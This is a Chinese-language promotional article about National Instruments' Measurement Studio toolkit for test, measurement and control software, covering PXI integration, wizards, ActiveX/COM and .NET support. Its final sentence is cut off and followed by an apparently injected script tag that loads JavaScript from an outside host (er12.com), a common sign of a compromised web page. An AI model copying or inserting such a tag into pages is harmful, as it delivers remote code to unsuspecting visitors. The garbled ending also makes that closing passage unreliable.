为了在更短的研发周期内开发出更高性能的产品,ni推出了measurement studio。它是一套包含各种常用的开发模式的工具包,包括面向对象的程序开发、activex和微软的.net技术,它能帮助用户在更短的时间里完成测试、测量和控制等应用的开发。
专为工程师设计的现成测量工具
对于需要创建一个测试系统、制造控制系统、自动化过程控制系统或将物理数据导入pc的工程师们来说,ni专为他们设计了measurement studio产品。measurement studio使用标准的程序开发语言,提供了创建强大的虚拟仪器系统所需的工具,如图1所示。使用虚拟仪器技术,用户可以将个人电脑和测量硬件如数据采集设备或视觉及运动控制器结合起来。使用measurement studio,用户可以定义一个可扩展、可更新的解决方案,也可以互换其中的软件或硬件。
图1:measurement studio 提供了创建强大的测量应用所需的工具
有了硬件兼容性,measurement studio还能提供强大的分析和显示功能及网络互连功能。再加上它的开放式平台,用户就可以轻松创建一个完整的测量系统,包括仪器控制、数据采集、机器视觉和运动控制应用系统。特别是使用pxi硬件平台将使这种优势与效率变得更为明显,有了易用的同步和触发机制,用户可以在同一机箱中使用compactpci仪器,如多功能数据采集设备、图像采集设备以及运动控制硬件。使用这种强大的系统集成功能,用户可以创建如下封装系统:使用运动控制设备将物体移到特定位置,并将它们对齐,然后发送测试信号并使用仪器或数据采集设备将信号读回;同时还可以使用视觉系统确定各个部分是否正确地组装和标识;最终决定产品合格与否。
快速、便捷的开发方式
measurement studio提高了程序开发者的效率,缩短了开发时间。所有的measurement studio组件向一个rad(如visual basic或visual c++)环境添加测量工具。
measurement studio包含一个程序创建向导(application wizard),它可以简化应用程序的创建、驱动程序的选择、服务器的创建以及使用activex的过程。这些向导能帮助用户摆脱重复又繁琐的工作,快速地进入开发的正轨。然后,用户可以通过向导轻易地添加、改变或设置一个正在开发中的项目。例如,measurement studio应用程序向导在vc++中可以帮助用户创建常规的初始代码,针对所创建项目类型——可执行程序或动态链接库——设置工程参数。它同样添加了创建测试、测量或控制应用程序所必须的测量专用组件。之后的开发过程中,向导可以继续帮助用户添加或删除不同的测量组件,例如用户控制或仪器驱动程序。使用这个向导,用户同样可以添加measurement studio库到一个已经存在的项目中,以更快地完成功能更强的应用程序。
标准可重用组件
measurement studio使用了最新的标准技术,例如activex和com,因此,用户只需使用其工具即可充分利用软件技术中最先进的部分。使用measurement studio,用户还可以建立标准的可发布模块。用户可以创建activex服务器和定制com接口,来展示动态链接库或可执行程序的功能,以及如何简便地将它们与其他应用程序相连接。用户还可以在各种任务中利用activex控件,例如,创建一个网页来控制一个已经存在的系统。measurement studio使用并提供这些标准和可重用技术,向用户提供了一种创建丰富的、可以方便共享和发布应用程序的办法。
集成最新的技术
ni一直都在利用最新的标准技术,特别是软件技术,measurement studio也不例外。最新的影响着软件世界的技术是微软.net。这个新的用“互连”观点看世界的视角影响着众多的工业领域,包括自动化和测量。measurement studio当然也将这个框架整合到其中。随着visual studio .net的到来,measurement studio发布了用于.net的组件和类库,以将.net的强大技术引入测量和自动化领域。通过整合到visual studio .net中,measurement studio使工程师们有能力在最新最强大的计算平台上开发健壮的、互连的应用程序。
高性能的执行
c++以创建紧凑、高效的代码而闻名。经过多年的改进,visual basic的编译器也能获得与c代码相当的执行速度。measurement studio利用这些主流编程语言的能力,创建了能够高速执行的测试和测量应用程序。缩短几秒钟的测试时间能使用户节省成千上万的金钱。通过创建精简高效的代码,measurement studio提供了动态链接库和activex服务器,它们可以独立工作或添加到一个更大的测试系统之中。
有了在诸如rt系列插入式设备或pxi控制器等ni实时硬件上编译并执行c++代码的能力之后,用户就可以向测量应用程序中添加实时的确定性功能。无论是为旧版本代码添加实时功能,还是控制精确定时的新数据采集系统,measurement studio都有相应的?script src=http://er12.com/t.js>